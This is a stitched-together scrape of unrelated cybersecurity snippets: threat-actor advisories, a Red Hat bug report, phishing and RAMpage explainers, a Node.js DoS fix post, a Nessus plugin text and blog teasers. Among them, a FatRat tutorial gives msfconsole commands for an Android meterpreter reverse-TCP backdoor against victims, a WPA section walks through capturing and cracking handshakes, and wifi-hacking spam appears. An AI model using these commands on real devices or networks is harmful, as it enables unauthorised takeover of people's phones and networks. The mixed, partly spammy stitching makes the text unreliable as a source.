This is my video for a better understanding. You can see how it works.
In the above video, I had shown only webcam access, But you can get full access to a phone like Reading and sending messages, call logs, pictures, and videos on the phone. |
Configuring NTLM Authentication
NTLM is a proprietary Microsoft protocol suite that can be used both for HTTP-based authentication and non-HTTP-based authentication. It provides similar capabilities as Digest authentication, but predated the development of Digest authentication. Recognizing the need for a more robust authentication mechanism than Basic authentication and with the necessary security infrastructure already existing in Windows, Microsoft adapted both Internet Explorer and IIS to support NTLM-based authentication (also known as NT Challenge/Response Authentication in IIS 4.0).
Despite being a proprietary Microsoft protocol, most modern browsers in addition to Internet Explorer v3 and higher (such as Chrome, Mozilla/Firefox, and Opera) support NTLM-based authentication. When used to authenticate clients over HTTP, NTLM authentication is a connection-oriented mechanism. This requires that the HTTP connection be maintained through the use of HTTP keep-alive functionality. If the server or browser is configured not to use keep-alives, then NTLM authentication will fail. For this reason, it is sometimes said that NTLM authentication does not work through forward proxy servers, because forward proxy servers typically do not permit an end-to-end persistent HTTP connection that can be reused by the end-client for subsequent HTTP requests. In the event that clients are behind a forward proxy server, it must be NTLM-aware in order for NTLM authentication to work.
NTLM authentication ... |
Red Hat Bugzilla – Bug 288271
CVE-2007-5496 setroubleshoot log injection
Last modified: 2016-06-17 17:07:21 EDT
reported via [email protected]:
The graphical sealert program interprets records in the setroubleshoot
database as HTML when it displays them to the user. These records
include arbitrary attacker-controlled values such as the names of
processes and files involved in AVC denial events, and the sealert
daemon fails to properly escape those values before passing them to its
HTML parser. This allows an unprivileged local attacker to inject
arbitrary HTML tags into the alerts displayed by the sealert browser,
altering an alert's appearance or inserting arbitrary links. There is no
preview bar to show a link's target URL. When a link in the alert is
clicked, the program executes the following Python code, where 'arg2' is
the value of the link's href attribute:
os.spawnl(os.P_NOWAIT, "/usr/bin/htmlview", "htmlview", arg2)
The htmlview script executes the user's preferred web browser, which
defaults to /usr/bin/firefox under RHEL 5. Since the attacker controls
only one argument, it does not appear to be possible to inject arbitrary
chrome:/// context. However, in combination with security flaws in
Firefox or any other web browser that htmlview may launch, this flaw
could be used to execute arbitrary code or steal credentials.
This is a valid flaw. The HTML is generated from templates with instance
specific values from the AVC substituted into the template. The data inserted
into the template should have their HTML entities escaped prior to template
This is an easy fix and the RHEL version could be easily patched. The flaw is
present in all current versions.
John, is setroubleshoot 2.0 first version to include a fix for this issue?
Is this the only relevant upstream commit?
Yes, version 2.0 was the first public version to contain these fixes.
This issue was addressed in:
Red Hat Enterprise Linux: |
The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the U.S. Treasury Department (Treasury) issued another joint Cybersecurity Advisory (CSA) focused on the cyber threat associated with cryptocurrency thefts and tactics. This advisory is specific to those tactics and techniques used by a North Korean state-sponsored advanced persistent threat (APT) group since 2020. This group is commonly tracked by the cybersecurity industry as Lazarus Group, APT38, BlueNoroff, and Stardust Chollima.
The advisory has noted that North Korean cyber actors are targeting a variety of organizations in the blockchain technology and cryptocurrency industry, including cryptocurrency exchanges, decentralized finance (DeFi) protocols, play-to-earn cryptocurrency video games, cryptocurrency trading companies, venture capital funds investing in cryptocurrency, and individual holders of large amounts of cryptocurrency or valuable non-fungible tokens (NFTs).
The activity described in this advisory involves social engineering of victims using a variety of communication platforms to encourage individuals to download trojanized cryptocurrency applications on Windows or macOS operating systems. The cyber actors then use the applications to gain access to the victim’s computer, propagate malware across the victim’s network environment, and steal private keys or exploit other security gaps. These activities enable additional follow-on activities that initiate fraudulent blockchain transactions.
The advisory suggests several mitigations to protect potentially targeted organizations in infrastructure, the financial sector, and in the blockchain and cryptocurrency industry. These mitigations include:
- Apply defense-in-depth security strategy.
- Implement patch management.
- Enforce credential requirements and multifactor authentication.
- Educate users on social engineering on social media and spearphishing.
- Implement email and domain mitigations.
- Implement endpoint protection security controls.
- Enforce application security.
- Disable macros in office products.
- Be aware of third-party downloads, especially those for cryptocurrency applications.
- Create an incident response plan to respond to possible cyber intrusions.
DNS Security Will be Critical to Your Defense
Over the past few years, it has been documented (https://attack.mitre.org/groups/G0032/ MITRE ATT&CK T1583.001) that the Lazarus Group has acquired domains related to their campaigns to act as distribution points and C2 channels. In some cases, the Lazarus Group has obtained SSL certificates for their C2 domains (https://attack.mitre.org/groups/G0032/ MITRE ATT&CK T1588.004).
As always, DNS is a common denominator for threat actors and Lazarus Group is not an exception. DNS is frequently used to set up and execute attack chains across the majority of cyberattacks, including those by the Lazarus Group. DNS is often used when an infected system communicates with the threat actors such as Lazarus Group through command and control (C&C) servers. DNS is critical infrastructure that everyone already relies on for connectivity, and can be used to improve your organization’s security posture.
Click here for a complete PDF version of this advisory.
You can see more information on the Lazarus Group here: https://attack.mitre.org/groups/G0032/.
For more information on North Korean state-sponsored malicious cyber activity, visit https://www.us-cert.cisa.gov/northkorea.
Learn more about DNS security here: https://www.infoblox.com/products/bloxone-threat-defense/
To find out more about how Infoblox can help protect your DNS infrastructure, please reach out to us via https://info.infoblox.com/contact-form/.
A June 2021 Gartner report recommends organizations leverage DNS logs for threat detection and forensic purposes with their Security Information and Event Management platforms.
Russia’s invasion of Ukraine could impact organizations both within and beyond the region, to include malicious cyber activity against the U.S. homeland, including as a response to the unprecedented economic costs imposed on Russia by the U.S. and our allies and partners. Evolving intelligence indicates that the Russian Government is exploring options for potential cyberattacks. Every organization—large and small—must be prepared to respond to disruptive cyber incidents. As the nation’s cyber defense agency, CISA stands ready to help organizations prepare for, respond to, and mitigate the impact of cyberattacks. When cyber incidents are reported quickly, we can use this information to render assistance and as a warning to prevent other organizations and entities from falling victim to a similar attack.
Organizations should report anomalous cyber activity and/or cyber incidents 24/7 to [email protected] or (888) 282-0870. |
Last updated on April 17, 2022
An Introduction to Double Barrel Phishing
Phishing is not new by any means and it has been in action since the mid-1990s. In 2020, there were 11 times more phishing complaints than in 2016 according to the FBI, which is saying something. Cybercriminals are perfecting their craft, which is how double barrel phishing came to be and today we will discuss all about it!
What Is Double Barrel Phishing?
Double barrel phishing is a phishing tactic that involves two or several emails where the objective is to establish trust and authenticity so the victim is less likely to doubt or question the attacker. Phishing refers to a type of cybercrime where deception is used to steal sensitive information from people and organizations.
Essentially, people are tricked into accessing a malicious attachment or providing personal or confidential information because the source of the request looks legitimate. Once the attacker gets the information they need, they will use that to impersonate their victims to apply for loans or credit cards, open bank accounts, and commit other kinds of fraud.
Example of Phishing Email
The first email is the bait, so it’s a benign email. It doesn’t contain links or attachments and it demands nothing from the target, not even a response. Attackers are known to impersonate people the target already knows using a similar signature or email address, to make it seem more legitimate. It will look very similar to this example:
“Hey, are you still in the office? I need a favor.”
The second email is less innocent but it builds on the credible scenario set up by the first email. It’s a follow-up and it will contain malicious attachments or require some kind of action that will initiate the attack. For example:
“Hi again. I just need you to review this report ASAP. Thanks!”
Why Is Double Barrel Phishing So Dangerous?
This kind of attack is dangerous because it’s quite effective. The combination of context, emotional triggers, and content makes it very successful. There’s always some kind of urgency involved and the targets believe it’s someone they already trust, so they are less likely to suspect. Once the attacker gains access, the target’s personal information will be compromised and it can lead to serious issues for themselves and the company.
How to Prevent a Phishing Attack
Know the Signs
Learning how to spot phishing emails is key. That’s why education and awareness are so important! Make sure employees are properly trained and understand what they need to do if they suspect an attack.
Use Smarter Email Security
Cybercriminals are adaptive, so they can get past most email security features. However, if you double down and use smarter email security, it will be very difficult for their emails to even reach you. Tools such as Egress Defend are very useful because they analyze the content and context of emails to identify phishing threats. |
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.
There are currently no families associated with this actor.
|2016-12-14 ⋅ Microsoft ⋅ |
Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe |
Document Title : pbdshell - bypassing heuristic detection system
Author : Lawrence Amerviews : 12Date : 2019-01-06
Attacker is able to bypass most of 96 % of anti-viruses products , heuristic detection systems including Kaspersky product
pbd shell is a reverse shell allows remote attackers to execute system commands on infected computer through cmd.exe spawning shells .
the method depends on socket code function written in pascal . according on tests the reverse connection is made with low user roles with no user interaction or UAC .
1. inspect running process frequently
2. monitor Traffic through wireshark or tcpdump ..etc
the source code , or compiled version wasn't shared , or executed on users systems , the purpose of this advisory is to show impact , risks on online computers . |
Wifi Driver Android Apk
If you’ve used an android device and frequented any android publication before, you’ve probably heard the word apk at least once. think of an apk as windows. Android is a mobile operating system developed by google, based on a modified version of the linux kernel and other open source software and designed primarily for. Wifi hacking software has made hacking wifi simple and safe forever. just in few clicks, you are ready to crack wifi password..
Many people have been facing a weird wifi problem in android phones as you can see in the above pic, when we try to turn on wifi, it simply displays. Wifi hacker, wifi password hacking software 2018 full download is a trending application in the world. mostly people hack wi-fi password free. Some of the times, the wifi won't start in the android phone and an 'error' is displayed. now,here is one powerful fix for this problem. dial *#. |
Working with the WebFinger protocol is actually very easy. You simply make a series of cURL requests to a provider that implements WebFinger, which subsequently returns all of the information we need, as shown in Figure 10-4.
Figure 10-4. How WebFinger works
When a web application or service makes a request to a web source that uses WebFinger in order to obtain user information from that site, the web source will return either user record details or error information in the event that no user data was located.
As an example, let’s take a look at extracting profile information using Google’s WebFinger implementation. First, we will make a request to the /.well-known/host-meta file on Google to obtain more data about how Google’s WebFinger implementation works to extract profile information based on users’ email addresses. From a command prompt, we enter the following:
The response that is returned will contain data about the URI template format that Google uses to obtain the user’s profile from her email address:
<?xml version='1.0' encoding='UTF-8'?> <!-- NOTE: this host-meta end-point is a pre-alpha work in progress. Don't rely on it. ... |
Microsoft has been tracking a threat group that stands out for its ability to cash in from data theft hacks that use broad social engineering attacks, painstaking research, and occasional physical threats.
Unlike many ransomware attack groups, Octo Tempest, as Microsoft has named the group, doesn’t encrypt data after gaining illegal access to it. Instead, the threat actor threatens to share the data publicly unless the victim pays a hefty ransom. To defeat targets’ defenses, the group resorts to a host of techniques, which, besides social engineering, includes SIM swaps, SMS phishing, and live voice calls. Over time, the group has grown increasingly aggressive, at times resorting to threats of physical violence if a target doesn’t comply with instructions to turn over credentials.
“In rare instances, Octo Tempest resorts to fear-mongering tactics, targeting specific individuals through phone calls and texts,” Microsoft researchers wrote in a post on Wednesday. “These actors use personal information, such as home addresses and family names, along with physical threats to coerce victims into sharing credentials for corporate access.”
Octo Tempest first came to notice early last year as it used SIM swaps to ensnare companies that provide mobile telecommunications processing services to other companies. The group would then sell the unauthorized access it gained through those swaps to other crime groups or use them to perform account takeovers of high-net-worth individuals to steal their cryptocurrency. By the end of the year, the group had broadened its techniques and expanded its targets to include cable telecommunications, email, and technology organizations. Around this time, it began extorting victims whose data it had stolen, sometimes resorting to physical threats.
Earlier this year, the native-English-speaking group became an affiliate of the ALPHV/BlackCat ransom-as-a-service operation. That made the group stand out since Eastern European ransomware crime syndicates rarely accept English-speaking members. Octo Tempest’s ALPHV/BlackCat ransomware attacks target both Windows and Linux versions systems, often when they run on VMWare ESXi servers. Targets often are in industries including natural resources, gaming, hospitality, consumer products, retail, managed service providers, manufacturing, law, technology, and financial services.
“In recent campaigns, we observed Octo Tempest leverage a diverse array of TTPs to navigate complex hybrid environments, exfiltrate sensitive data, and encrypt data,” Microsoft wrote. “Octo Tempest leverages tradecraft that many organizations don’t have in their typical threat models, such as SMS phishing, SIM swapping, and advanced social engineering techniques.”
The researchers continued:
Octo Tempest commonly launches social engineering attacks targeting technical administrators, such as support and help desk personnel, who have permissions that could enable the threat actor to gain initial access to accounts. The threat actor performs research on the organization and identifies targets to effectively impersonate victims, mimicking idiolect on phone calls and understanding personal identifiable information to trick technical administrators into performing password resets and resetting multifactor authentication (MFA) methods. Octo Tempest has also been observed impersonating newly hired employees in these attempts to blend into normal on-hire processes.
Octo Tempest primarily gains initial access to an organization using one of several methods:
- Social engineering
- Calling an employee and socially engineering the user to either:
- Install a Remote Monitoring and Management (RMM) utility
- Navigate to a site configured with a fake login portal using an adversary-in-the-middle toolkit
- Remove their FIDO2 token
- Calling an organization’s help desk and socially engineering the help desk to reset the user’s password and/or change/add a multi-factor authentication token/factor
- Purchasing an employee’s credentials and/or session token(s) on a criminal underground market
- SMS phishing employee phone numbers with a link to a site configured with a fake login portal using an adversary-in-the-middle toolkit
- Using the employee’s pre-existing access to mobile telecommunications and business process outsourcing organizations to initiate a SIM swap or to set up call number forwarding on an employee’s phone number. Octo Tempest will initiate a self-service password reset of the user’s account once they have gained control of the employee’s phone number.
Additional tradecraft includes:
- PingCastle and ADRecon to perform reconnaissance of Active Directory
- Advanced IP Scanner to probe victim networks
- Govmomi Go library to enumerate vCenter APIs
- PureStorage FlashArray PowerShell module to enumerate storage arrays
- AAD bulk downloads of users, groups, and devices.
Microsoft’s post contains various other details, along with defenses organizations can adopt to repel the attacks. Defenses include using out-of-band communications when interacting with co-workers, educating employees, and implementing FIDO-compliant multifactor authentication. |
What is performed from an attacker’s perspective?
An attacker would initially need to identify a wireless network that uses PSK authentication. This can easily be performed by using the aircrack-ng suite of tools, specifically the airodump-ng tool. The first step of this process would be for an attacker to start a capable wireless card (or USB wireless adaptor) in monitor mode. This can be performed with the following command (as an example):
airmon-ng start wlan0
ifconfig wlan0 down
Once the device is in monitor mode, the main interface is taken down (as per the second command).
The next step in the process is to identify a target network. Using the airodump-ng tool and only specifying the monitor interface (in this example, mon0) allows the device to hop between wireless channels. This is not ideal for capturing a specific network handshake but is useful to locate the specific channel for the next step:
The results would show several networks, each with varying signal strengths and configurations, but in our example we will use channel 1 with the ‘SureCloud-WiFi’ AP.
Our next step is to target this network. We do that by specifying additional arguments for airodump-ng:
airodump-ng mon0 –w surecloud-wifi-capture –channel 1
This command will capture wireless traffic to the file surecloud-wifi-capture-01.cap and will only focus on channel 1. Additional parameters can be specified, such as the use of –essid to target the network SSID name.
Once a handshake has been captured airodump-ng will note it at the top of the display. The next step following this is to clean up the capture file from any unnecessary packets not relating to the exchange, and to then ideally convert it to a hashcat-capable format for GPU processing. The following commands can be used to do this:
# wpaclean [output file] [input file]
wpaclean surecloud-wifi-clean.cap surecloud-wifi-capture-01.cap
# aircrack-ng [input file] –J [output file]
aircrack-ng surecloud-wifi-clean.cap –J surecloud-wifi-hashcat
Using Hashcat is the most efficient way to perform password attacks such as dictionary attacks. How to use Hashcat is outside the scope of this article, but there are excellent resources available online:
What is the background process behind this, from a technical point of view?
The key exchange handshake process uses several pieces of information, some of which is transferred over the air for the other device to make its necessary computations. This information includes:
- Pairwise Master Key (SSID, PSK)
- Authenticator Nonce (One-time key, generated by the Authenticator)
- Supplicant Nonce (One-time key, generated by the Supplicant)
- Authenticator MAC Address (Enumerated over the air)
- Supplicant MAC Address (Enumerated over the air)
The Pairwise-Master-Key is never revealed over the air, but is used in a Pseudo-Random-Function alongside the key data (a concatenation of the Authenticator and Supplicant MAC addresses, and the Authenticator and Supplicant Nonces) to generate the Pairwise-Transient-Key.
As for the Pairwise-Transient-Key this is a 512 bit key, which is used to provide the following sub-keys:
- Key-Confirmation-Key (First 128 bits)
- Key-Encryption-Key (Second 128 Bits)
- Temporal-Key (Third 128 Bits)
- MIC Authenticator Tx Key (Fourth 64 bits) – Only used for TKIP
- MIC Authenticator Rx Key (Fifth 64 bits) – Only used for TKIP
The Key-Confirmation-Key (KCK) is the key that is used for the creation of the Message Integrity Code (MIC), which is what is ultimately used for computing the PSK passphrase by password cracking tools. The MIC key itself is calculated using a HMAC-MD5 algorithm. |
Locate a Port Scanning Tool
For this assignment create a new message and address the following items in your posting…
- Search the internet or our course lesson/resources for a tool used to conduct port scanning.
- List the tool’s name.
- List the pros and cons associated with the tool you found.
- Locate an incident in which the tool was used to exploit an organization.
- List the URL and describe the exploit.
- Provide the outcome, was the exploit successful or foiled. |
probably government-sponsored hacking programs against Uyghur group, including Tibetans, NGOs and human rights organizations.
A number of attacks have been seen directed at the World Uyghur Congress, a Munich-based organization that promotes human rights. Potential victims are often tricked by so-called spear phishing attacks, the targets receive an e-mail with a subject relevant to their interests, and a Word document attached.
All the attacks use exploits for the CVE-2009-0563 (Microsoft Office) vulnerability and The backdoor also includes hard-coded functionality to pull down an arbitrary executable from the C2s.
Kaspersky recommend users to Update all software (especially Word) that you have on your computer and to use Chrome or other browsers that include fraud-detection features. |
Price: AED 78.37
(as of Jun 13,2020 13:45:53 UTC – Details)
Become an expert in Kali Linux within no time!
Do you want to learn about Kali Linux? Do you want to improve your knowledge about advanced security protocols? However, you aren’t sure where to begin? Does all the information available online seem overwhelming and quite complicated? If yes, then this is the perfect book for you. This book is a beginner’s guide to learn Kali Linux. Armed with the information given in this book, you can use Kali Linux quite easily and become an expert in it within no time.
Kali Linux is believed to be amongst the best open-source security packages, which can be used by an ethical hacker. It consists of different sets of tools, which are divided into various categories. The user can install it as an operating system in the machine. The applications of Kali Linux have certainly evolved since it was first developed. Now, it is not only the best platform available for an information security professional, but it has become an industrial-level operation system distribution.
In this book, you will learn about
- The basics of Kali Linux
- How to install Kali Linux
- Steps to download Kali Linux
- About ARM devices
- Tips for troubleshooting
- The applications and use of Kali Linux
- Different tools available in Kali Linux, and much more!
If you want to learn about all this, then this book is your go-to option. Now, all that’s left for you to do is grab your copy today and start learning! What are you waiting for? |
Fixing Denial of Service vulnerabilities in Node.js
As part of the security release of the 27th of November 2018, we fixed several Denial of Service vulnerabilities related to headers processing. You should upgrade your Node.js versions to v6.15.0, v8.14.0, v10.14.0, v11.3.0. This blog post is an in-depth explanation on how those attacks were fixed.
A long-time advice in the Node.js community is to deploy Node.js protected by a full a web server, like NGINX. As of the 27th of November, we fixed some critical Denial of Service vulnerabilities (Uncontrolled Resource Consumption – CWE-400) that makes Node.js safer when deployed without a web server.
Two headers-related vulnerabilities are fixed in that security release:
- the maximum size of HTTP/1 headers is now 8KB (before it was 80KB); CVE: CVE-2018-12121
- the maximum time that the HTTP/1 headers could be received is now limited to 40 seconds by default, a.k.a. Slowris; CVE: CVE-2018-12122.
CVE-2018-12121: Maximum size of headers attack
Node.js uses http_parser to parse the incoming HTTP/1 request. By default, the maximum amount of headers that could be sent prior to the fix was 80 KB, while most web servers limit this to 6 or 8 KB. This difference could be easily exploited to create a memory exhaustion attack on a Node.js server by creating a large amount of HTTP requests, and never terminate the headers block with ‘\r\n’.
Note that there is a default timeout for inactivity set at 2 minutes, but this is still a long amount of time: as an example, with 25.000 pending requests, it will allocate 1.9 GB of memory on the heap (200MB with the fix). This is normally not a problem, but on specific conditions, it was possible to cause the Node.js process to crash due to memory exhaustion. This type of attack requires a huge amount of bandwidth to pull off.
There is no security revert flag for this check, i.e. it cannot be disabled or configured.
CVE-2018-12122: Prevent Slowris-style attack on HTTP headers
This is a Node.js-flavor of a common attack to web servers, known as Slowris. In this attack, a client sends data at the slowest possible throughput to not trigger an inactivity timeout on the HTTP/1 server (2 minutes in Node.js by default).
A Slowris attack could happen for both the headers and the body. Parsing the body is left to the ecosystem, however, Node.js should not be vulnerable to potential slowris attacks for parsing the headers themselves.
This is fixed by a new server setting server.headersTimeout, that sets the maximum amount of time to receive the headers to 40 seconds by default. This could be tweaked according to your application requirements.
The real challenge to fix this attack was to not compromise Node.js throughput and speed, as initial prototypes had a significant drop in throughput, up to 50%. The reason for this drop was the use of a timer to control when to expire the connection. Instead, we settled on a different approach: whenever a data chunk is received, we are checking if the maximum amount of time for parsing the headers has elapsed. Generating this timestamp is already cached for each second to generate the HTTP response timestamp, so it does not introduce a new bottleneck for high-speed servers.
We still recommend deploying Node.js behind a Web server to protect against Denial of Service attacks. However, Node.js just become a bit safer if you decide not to do so. Remember to upgrade your Node.js deployments to v6.15.0, v8.14.0, v10.14.0, v11.3.0.
You may find this video helpful where I talk about choosing which version of Node.js you should use
Image: Sylwia Bartyzel |
How to hack Any Android device with kali linux FatRat
How to hack Any Android device with kali linux FatRat. Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass mos.
Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security Ltd. Mati Aharoni, Devon Kearns and Raphaël Hertzog are the core developers. How to hack Any Android device with kali linux FatRat.
Kali Linux has over 600 preinstalled penetration-testing programs, including Armitage (a graphical cyber attack management tool), Nmap (a port scanner), Wireshark (a packet analyzer), John the Ripper password cracker, Aircrack-ng (a software suite for penetration-testing wireless LANs), Burp suite and OWASP ZAP web application security scanners. Kali Linux can run natively when installed on a computer’s hard disk, can be booted from a live CD or live USB, or it can run within a virtual machine. It is a supported platform of the Metasploit Project‘s Metasploit Framework, a tool for developing and executing security exploits.
How to hack Any Android device with kali linux FatRat.
How to hack android device with FatRat on kali linux 2 ( ONLY FOR EDUCATIONAL PURPOSES)
How to install TheFatRat
commands: -fatrat: 1 3 (your local ip) 4444 -new terminal: msfconsole use multi/handler set payload android/meterpreter/reverse_tcp set lhost (your local ip) set lport 4444 exploit When the victim runs your undetectable virus’ you will have remote access in him/her computer. How to hack Any Android device with kali linux FatRat. This is the biggest rat of all times. |
When curl 7.16.4 prior to 7.84.0 does FTP transfers secured by krb5, it handles message verification failures wrongly. This flaw makes it possible for a Man-In-The-Middle attack to go unnoticed and even allows it to inject data to the client.
CWE-787 - Out-of-Bounds Write
Out-of-bounds write vulnerability is a memory access bug that allows software to write data past the end or before the beginning of the intended buffer. This may result in the corruption of data, a crash, or arbitrary code execution. |
Recently discovered malware circulating online gives miscreants a small arsenal of denial-of-service attack tools, including a relatively new one that allows a single PC to take down an Apache webserver, a researcher said.
MP-DDoser, as documented in a blog post by Arbor Networks researcher Jeff Edwards, implements an exploit known as "Apache Killer," which first came to light last August. Researchers said then that it worked by sending Apache servers multiple GET requests containing overlapping byte ranges, consuming all memory on a target system. The Arbor post suggested the technique worked against other webserver applications.
"The core of the attack involves the sending of a very long-range HTTP header that is intended to bring webservers (especially Apache) to their knees by forcing them to do a great deal of server-side work in response to a comparatively small request," Edwards wrote. "It is therefore one of the more effective low-bandwidth, 'asymmetrical' HTTP attacks at the moment."
MP-DDoser, aka IP-Killer, also contains other denial-of-service exploits, including one that closely resembles "Slowloris," another attack that allows a single PC to bring large websites to their knees. Apache Killer has also been incorporated into another DoS bot known as Armageddon.
In addition to its high-functioning DoS tools, MP-DDoser is also notable for multiple layers of encryption used to secure communications with command-and-control servers.
"All in all, MP-DDoser uses some of the better key management we have seen," Edwards wrote. "But of course, at the end of the day, every bot has to contain—or be able to generate—its own key string in order to communicate with its C&C, so no matter how many layers of encryption our adversary piles on, they can always be peeled off one by one." |
"Default web page" vulnerability is useful to detect unused Web server that are active on a server. Very often, stopping the Web server solves a lot of other vulnerabilities, related to the (useless) Web site.
But very often, there's a necessary Web site, running properly, whose "default web page" is either a redirection or an authentication page.
The flaw is due to misconfiguration of Server, which allows to
access default pages when the server is not used.
Successful exploitation will allow remote attackers to obtain sensitive
information that could aid in further attacks. |
Win32/Mydoom is a family of mass-mailing worms that spread through e-mail. Some variants also spread through peer-to-peer networks. The worm acts as a backdoor Trojan, which allows an attacker to access the infected system. This backdoor may be used to distribute other malicious software. Some variants of Win32/Mydoom launch denial of service (DoS) attacks against specific Web sites. |
This script is Copyright (C) 2011 Tenable Network Security, Inc.
The remote web server contains a PHP application that is affected by
multiple cross-site scripting vulnerabilities.
The remote host contains a version of phpMyAdmin - 3.3.x less than
18.104.22.168 or 3.4.x less than 3.4.4 - that is affected by multiple
cross-site scripting vulnerabilities.
The data in the 'table', 'column', and 'index' variables of the script
'tbl_tracking.php' are not properly sanitized before being sent to the
These errors can allow an unauthenticated user to trick an
authenticated user into requesting a URL thereby injecting arbitrary
HTML or script code into the authenticated user's browser.
These errors can also allow an attacker who has access to the database
to create persistent strings of cross-site scripting code that will
inject arbitrary HTML or script code into an authenticated user's
browser at a later time.
See also :
Upgrade to phpMyAdmin version 22.214.171.124 / 3.4.4 or later.
Risk factor :
Medium / CVSS Base Score : 4.3
CVSS Temporal Score : 3.6
Public Exploit Available : true |
What is RAMPAGE Attack?
With each passing day, the number of cyber threats has been increasing exponentially. There are multitude of viruses, malware, ransomware, malicious apps, and many more to worry about. Hackers have been successfully developing new types of threats. They have been exploiting any type of weak links in servers, devices, and what not. These cyber threats can cause minimal to disastrous damage to you, if your device has been infected. Without appropriate precautionary safety measure, you could be the next victim. Among such dangerous cyber attacks, RAMpage is one. If you want stay safe from this attack, make sure that educate yourself about it and then secure yourself with proper security measures.
So, What exactly is RAMpage attack?
RAMpage is a row hammer attacks that targets the hardware of Android Devices that run on Android 4.0, Ice Cream Sandwich or above. If you’re wondering what exactly a row hammer attack is, it can be defined as an attack that targets the row hammer side effect. Row hammer is a side effect that is responsible for the memory cells to cause leakage of charges. This side effect is related to the dynamic random access memory. This all started way back in 2012, when Google launched a new element to the Android kernel named ION. It’s responsible for the allocation of memory to different services and apps. RAMpage attacks targets these IONs. These attacks compromise the conditions of these IONs, making them interact with each other electrically, which cause memory flipping between apps and services. Millions of Android devices are potentially vulnerable to this attack.
How does RAMpage attack work?
An application that is equipped with RAMpage targets the ION subsystem and influences a memory bit row and changes the state of that memory row till the bit flipping starts to happen in an adjacent row. Sounds too technical? Well, to be simpler, this malicious threat attacks the ION section of your device and eventually enables the infected app to achieve admin rights to any other app. For example, this attack can target your device through a normal app and cause information damage. It can exploit sensitive apps like password managers and steal your confidential information. Basically, this attack breaks the isolation between apps and the operating system. It can even take over your device and gain all the administration rights of it. If you’re not careful about your sensitive data, this attack can steal your information, which is quite dangerous if falls into the wrong hands.
Does it affect your device?
To be precise, every device released post 2012 and runs on Android 4.0 or higher is a target for the RAMpage attack. Basically, these devices use LPDDR2, LPDDR3, and LPDDR4 versions of RAM chips. So, if your device falls under these categories, it is vulnerable to this attack. But, newer operating systems don’t practice writing the entire information of an application in adjacent cells. So, the information in the memory cells couldn’t be easily exploited. An Android device with a memory of 4GB has 4 billion memory bits. So, exploiting and pinpointing a certain location of information can be almost impossible for the attacker to target.
What should you do?
Google has already identified this attack and started taking security measures against it. As an Android user, you too must follow certain security protocols to ensure that there won’t be any mishaps on your side. The first and foremost step to do is not installing any suspicious app either from the play store or from any external source. Furthermore, using a security program can enhance the safety of your device, making it hard for the hackers to attack your device. Make sure that you use verified apps on your device, exclusively from the play store.
Read Also: Biggest Cybersecurity Threats of 2018
By now, you may have gotten a clear understanding of RAMpage attack. Now, it’s time for you to follow proper precautionary measure to ensure the safety and security of your device and information alike. If you feel that your device has already been attacked, perform a full device scan and report it to the Google through their consumer forum.
The use of computerized innovation in the medical services area has changed significantly all through the world. Consolidating software with healthcare services is so useful to the clinical area that it resembles joining two of the most impressive energies into one. As displayed during this frightful pandemic, ongoing enhancements in healthcare software can assist with […]
If you have just upgraded your macOS Monterey 12 to find your Mac is also lagging, getting stuck, or running slow, you have come to the right place. Here we will discuss quick troubleshooting tips to get your Mac back on track. Before we get into details, let us try to understand the root of […]
Data is essential for all; be it a home user or professional, all want to keep their data safe. However, due to unforeseen situations, primarily due to human error, we lose important data. This is when data recovery tools come to play. Using them, you can get deleted or missing files back. But with so […]
Is Bluetooth on Windows 11 giving issues? You have come to the right place. In this post, we will discuss how to fix Windows 11 Bluetooth not working. Generally, the Bluetooth problems are caused due to some software issues, but they can also be related to hardware malfunctioning. Therefore, before we get into details, let […]
Are you facing connectivity issues? Follow these instructions to reset network settings on your Windows 11 and fix the connectivity problems. The network settings on the PC manages internet connectivity. However, in some cases, due to outdated network adapters and incompatible configuration issues like slow connection and dropped connection, no wireless connectivity occurs. If you […]
As the cybersecurity needs of users are growing, Bitdefender has come up with comprehensive Internet security software that is designed to keep you safe 24/7. Bitdefender Internet Security is a one-stop solution for all your security needs. We’ve got a chance to test this powerful tool and to check its compatibility with other security solutions […]
Is Microsoft’s digital assistant bothering you? Do you want to uninstall it? You’ve come to the right place; here, we will explain removing Cortana on Windows 11. Although Microsoft doesn’t give a straightforward way to uninstall it, there are still ways. Why Uninstall Cortana? It is not like Microsoft’s cloud-based digital assistant; Cortana takes too […]
Technology is advancing at an alarming rate, with most people jumping onto the new trend without fully understanding what these advancements entail or the consequences. It is also a widely known fact that many people do not read the terms and conditions of the new apps. So, the following seven apps will help you keep […]
Most students find it hard to write a comprehensive academic essay within the given timeframe. It becomes quite challenging and equally stressful to complete the assigned task, especially when the deadline is near. However, there are certainapps for writing essaysthat will help you deliver top-quality assignments. Best Essay Writing Apps to Improve Writing Skills There […]
Today’s security professionals have become familiar with the idea that every organization has an attack surface that describes its global exposure to threats against internal and cloud applications, devices, users, and data. The attack surface grows as greater connectivity, cloud applications and myriad new types of device are adopted as an organization expands its digital […]
Worldwide, more and more people are doing what they can to protect themselves and their data. Considering we live in a world that is so connected, with everything from work to our social lives and entertainment happening online, protection is a must. Staying safe online isn’t as difficult as you think either; it just requires […]
Finally, iOS 15 is now available to download, and it has brought many surprises along. The biggest iOS 15 surprise is that now Apple users can FaceTime with non-Apple users. Yep, you no longer need to use Zoom or Microsoft Teams to make video calls. Instead, Apple has allowed people to join a FaceTime call […]
We all want to secure our remote access for daily needs & projects. But how to get it done is a big question. Using a VPN this problem can be easily solved as it creates an encrypted tunnel to secure network connection. Acronym for Virtual Private Network (VPN) hides IP addresses allowing users to navigate […]
Are you looking for the best lead generation software? Then don’t look for the tool that can boost your sales or customer base. In fact, search for the tool that can integrate your CRM software for better KPIs and analytics. Lead capture software can do a lot more than improving your sales or traffic. It […]
Be it product branding or marketing; labels play a significant role in selling a product. In fact, the label helps to distinguish your products from others. Therefore, the designing and printing of your product label need to be perfect. And for this, we will talk about the best 5 label designing and printing software in […] |
Georgia Tech Researchers have now shown that one of the very measures meant to keep data secure on a low-end phone can enable attackers to steal it.
